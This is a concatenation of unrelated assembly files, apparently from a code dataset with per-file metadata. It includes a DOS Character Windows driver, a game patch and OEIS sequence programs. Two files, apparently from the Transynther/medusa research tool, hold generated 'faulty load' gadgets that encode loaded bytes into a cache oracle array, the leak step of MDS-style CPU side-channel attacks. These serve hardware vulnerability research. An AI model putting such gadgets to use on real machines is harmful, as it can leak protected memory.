'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': True}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': True}} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
39.5
2,999
0.662173
[ "MIT" ]
danielmgmi/medusa
Transynther/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_21829_1157.asm
6,083
Assembly
;* ;* CW : Character Windows ;* ;* csd_std.asm : standard defaults ;* (not machine specific) ifndef ImodeGuessCurrentCsd_NonDefault ;***************************************************************************** ;********** ImodeGuessCurrentCsd ********** ;* * CSD entry point (see documentation for interface) cProc ImodeGuessCurrentCsd, <FAR, PUBLIC, ATOMIC>, <SI,DI> cBegin ImodeGuessCurrentCsd mov di,OFF_lpwDataCsd cCall FvmGetCur ;* get fvm push ax cCall ModeGetCur ;* al = mode, ah = ayMac (0=>unknown) pop bx ;* bx = fvm ;* * Search for current mode and fvm in rgdm mov si,drvOffset rgdm mov cx,cdmMax xor dx,dx ;* * al = current mode, ah = ayMac (or 0=>unknown) ;* * bx = fvm ;* * si = pdm ;* * dx = idm = imode ;* * cx = loop count imgc_next: cmp al,cs:[si].modeDm jne @F test bl,cs:[si].fvmReqAdapDm jz @F test bh,cs:[si].fvmReqDispDm jz @F ;* not available or ah,ah jz imgc_end ;* height unknown => use this one cmp ah,cs:[si].ayMacDm jz imgc_end ;* same height => use this one @@: add si,size DM inc dx loop imgc_next mov dx,-1 ;* unknown imgc_end: ;* dx = imode mov ax,dx ;* guess this mode cEnd ImodeGuessCurrentCsd ;***************************************************************************** endif ;* ImodeGuessCurrentCsd_NonDefault ifndef FQueryInstCsd_NonDefault ;***************************************************************************** ;********** FQueryInstCsd ********** ;* * CSD entry point (see documentation for interface) cProc FQueryInstCsd, <FAR, PUBLIC, ATOMIC>, <si, di> parmDP pinst parmW imode localW fvm cBegin FQueryInstCsd mov di,OFF_lpwDataCsd cCall FvmGetCur ;* find out what we got ... ;* will query hardware at first call mov fvm,ax mov si,imode cmp si,cdmMax jb got_imode fail_query: xor ax,ax ;* failure jmp end_qmode got_imode: ;* si = imode mov ax,SIZE DM mul si mov si,ax add si,drvOffset rgdm ;* CS:SI => INST info ;* * copy DM info into INST mov di,pinst ;* ds:di => dest ;* * clear out the INST structure push di push ds pop es mov cx,cbInstMin / 2 xor ax,ax rep stosw pop di ;* * move information from DM to INST ;* finst mov ax,fvm ;* al=adapter, ah=monitor mov dx,cs:[si].finstDm test al,cs:[si].fvmReqAdapDm jz @F test ah,cs:[si].fvmReqDispDm jz @F or dx,finstAvailable ;* this mode is currently available @@: ;* dx = finst IFDEF BUILTIN_SNOW ;* * KLUDGE: set finstQuestionable for a builtin CGA. test al,fvmCGA jz @F or dx,finstQuestionable @@: ENDIF ;BUILTIN_SNOW mov ds:[di].finstInst,dx IFDEF EARLIER Assert <ayMacDm EQ axMacDm+1> Assert <ayMacInst EQ axMacInst+1> ;* axMac, ayMac mov dx,word ptr cs:[si].axMacDm ELSE mov dl,cs:[si].axMacDm mov dh,cs:[si].ayMacDm ENDIF mov wo ds:[di].axMacInst,dx ;* move both axMac and ayMac ;* mode index mov dx,imode mov ds:[di].imodeInst,dx ;* coMac, covMac, coiMac mov dl,cs:[si].coMacDm mov ds:[di].coMacInst,dl cCall CoiCovFromFvm ;* al = fvm mov ds:[di].covMacInst,ah mov ds:[di].coiMacInst,dx ;* INFT information Assert <dyCharDm EQ dxCharDm+1> Assert <dyCharInft EQ dxCharInft+1> mov dx,word ptr cs:[si].dxCharDm mov word ptr ds:[di].inftInst.dxCharInft,dx ;* move both dxChar and dyChar mov dl,cs:[si].dyBaseDm mov ds:[di].inftInst.dyBaseLineInft,dl mov dl,cs:[si].ifontDm mov ds:[di].inftInst.ifontInft,dl mov dx,0FFFFh ;default ffont values mov ds:[di].ffontSupportedInst,dx ;* Buffer info mov ax,cs:[si].psVideoDm mov ds:[di].psPrimInst,ax AssertEQ ds:[di].psSecInst,0 AssertEQ ds:[di].cwExtraInst,0 ;* * set private info (store pointer to DM in the INST structure) mov [di].pdmInst,si mov ax,sp ;* ok end_qmode: cEnd FQueryInstCsd ;***************************************************************************** endif ;* FQueryInstCsd_NonDefault ifndef TermCsd_NonDefault ;***************************************************************************** ;********** TermCsd ********** ;* * CSD entry point (see documentation for interface) ;* * normally a no-op cProc TermCsd, <FAR, PUBLIC, ATOMIC> cBegin TermCsd ifdef KANJI cCall EnableBlinkBit endif ; KANJI cEnd TermCsd ;***************************************************************************** endif ;* TermCsd_NonDefault
22.544974
78
0.612532
[ "Apache-2.0" ]
minblock/msdos
45/beef/drv/csd/inc/csd_std.asm
4,261
Assembly
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r14 push %rcx push %rdi push %rsi lea addresses_WT_ht+0x124f5, %rsi lea addresses_normal_ht+0xd4f5, %rdi clflush (%rsi) nop nop nop nop nop xor %r12, %r12 mov $71, %rcx rep movsq nop cmp $46046, %r14 pop %rsi pop %rdi pop %rcx pop %r14 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r15 push %rax push %rcx push %rdx push %rsi // Store lea addresses_WT+0xf5, %rcx clflush (%rcx) nop nop nop nop nop sub $12474, %r15 movl $0x51525354, (%rcx) nop nop nop nop nop add %r10, %r10 // Store lea addresses_A+0x1e795, %r15 clflush (%r15) nop add %rdx, %rdx movw $0x5152, (%r15) nop nop nop nop add $26440, %r15 // Load lea addresses_UC+0xc4f5, %rax nop nop nop add $2377, %rcx mov (%rax), %r10w add $10517, %rcx // Store lea addresses_UC+0x17075, %r12 nop nop nop nop nop xor %r15, %r15 mov $0x5152535455565758, %rcx movq %rcx, %xmm1 movups %xmm1, (%r12) nop nop sub %rcx, %rcx // Store lea addresses_WC+0x10f75, %rcx add $58877, %rsi mov $0x5152535455565758, %rdx movq %rdx, %xmm3 movups %xmm3, (%rcx) nop nop nop and $32222, %rsi // Store lea addresses_UC+0xeef5, %r15 nop nop nop nop sub %r12, %r12 movw $0x5152, (%r15) nop nop nop nop nop sub %r12, %r12 // Store lea addresses_WC+0x180f5, %rsi nop nop nop nop cmp $2629, %rax mov $0x5152535455565758, %r15 movq %r15, %xmm0 vmovups %ymm0, (%rsi) nop xor $33002, %rax // Store lea addresses_UC+0x199bd, %rdx nop nop nop nop sub %rsi, %rsi movl $0x51525354, (%rdx) nop xor %r15, %r15 // Faulty Load lea addresses_UC+0xc4f5, %r10 nop nop nop nop dec %r15 vmovups (%r10), %ymm0 vextracti128 $0, %ymm0, %xmm0 vpextrq $0, %xmm0, %rdx lea oracles, %r10 and $0xff, %rdx shlq $12, %rdx mov (%r10,%rdx,1), %rdx pop %rsi pop %rdx pop %rcx pop %rax pop %r15 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_UC', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_WT', 'size': 4, 'AVXalign': True}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_A', 'size': 2, 'AVXalign': False}} {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_UC', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_UC', 'size': 16, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_WC', 'size': 16, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_UC', 'size': 2, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_WC', 'size': 32, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_UC', 'size': 4, 'AVXalign': True}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_UC', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}} {'37': 21829} 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 */
34.273224
2,999
0.654974
[ "MIT" ]
danielmgmi/medusa
Transynther/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_702.asm
6,272
Assembly
.nds .relativeinclude on .erroronwarning on ; Fixes a vanilla bug where skipping the cutscene after you kill Death too quickly will prevent Death's boss death flag from being set. ; As a result of that bug the boss doors would relock after you exit the room, though Death himself wouldn't ever be fightable again. .open "ftc/overlay9_64", 022D7900h .org 0x022D8B18 nop .close
27.285714
135
0.780105
[ "MIT" ]
CgAu3/DSVEdit
asm/por_fix_death_softlock.asm
382
Assembly
; A081245: Number of days in months in the Haab year of Mayan/Mesoamerican calendars. ; 20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,5,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,5,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,5 add $0,1 gcd $0,19 mov $1,2 bin $1,$0 div $1,2 mul $1,15 add $1,5 mov $0,$1
27.75
169
0.663664
[ "Apache-2.0" ]
ckrause/cm
programs/oeis/081/A081245.asm
333
Assembly
; A058038: a(n) = Fibonacci(2*n)*Fibonacci(2*n+2). ; 0,3,24,168,1155,7920,54288,372099,2550408,17480760,119814915,821223648,5628750624,38580030723,264431464440,1812440220360,12422650078083,85146110326224,583600122205488,4000054745112195,27416783093579880 lpb $0 sub $0,1 add $2,1 add $1,$2 add $2,$1 add $1,$2 add $2,$1 lpe
28.083333
203
0.74184
[ "Apache-2.0" ]
jmorken/loda
programs/oeis/058/A058038.asm
337
Assembly
; A131398: 3*A007318 - A097806 - A000012. ; Submitted by Jon Maiga ; 1,1,1,2,4,1,2,8,7,1,2,11,17,10,1,2,14,29,29,13,1,2,17,44,59,44,16,1,2,20,62,104,104,62,19,1,2,23,83,167,209,167,83,22,1,2,26,107,251,377,377,251,107,25,1 lpb $0 add $2,1 sub $0,$2 lpe mov $1,$2 bin $1,$0 add $0,1 bin $0,$2 mul $1,3 mov $2,0 bin $2,$0 add $1,$2 mov $0,$1 sub $0,2
18.631579
155
0.60452
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/131/A131398.asm
354
Assembly